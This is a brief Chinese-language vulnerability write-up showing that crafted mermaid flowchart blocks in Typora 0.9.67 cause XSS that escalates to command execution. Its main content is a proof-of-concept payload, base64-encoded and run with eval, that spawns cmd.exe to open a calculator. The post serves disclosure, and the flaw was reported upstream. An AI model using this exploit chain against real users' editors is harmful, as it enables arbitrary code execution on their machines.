0%

Typora(v0.9.67) XSS to RCE

0x00

事情的起因是因为看到这两篇文章

Typora XSS 到 RCE (上)

如何在Typora编辑器上实现远程命令执行

看着感觉很有意思,本着玩下的心态进行黑盒测试,查看Typora帮助文档的时候发现有几个制作流程图的插件,没想到真找到了一个XSS的地方,已提交issue:https://github.com/typora/typora-issues/issues/2289

0x01

Tested On Windows 10
Version : 0.9.67

```mermaid
graph LR
id1["<iframe src=javascript:alert('xss')></iframe>"]
```

```mermaid
graph LR
id1["<iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>"]
```

0x02 Reference

Typora XSS 到 RCE (上)

Typora XSS 到 RCE(下)

如何在Typora编辑器上实现远程命令执行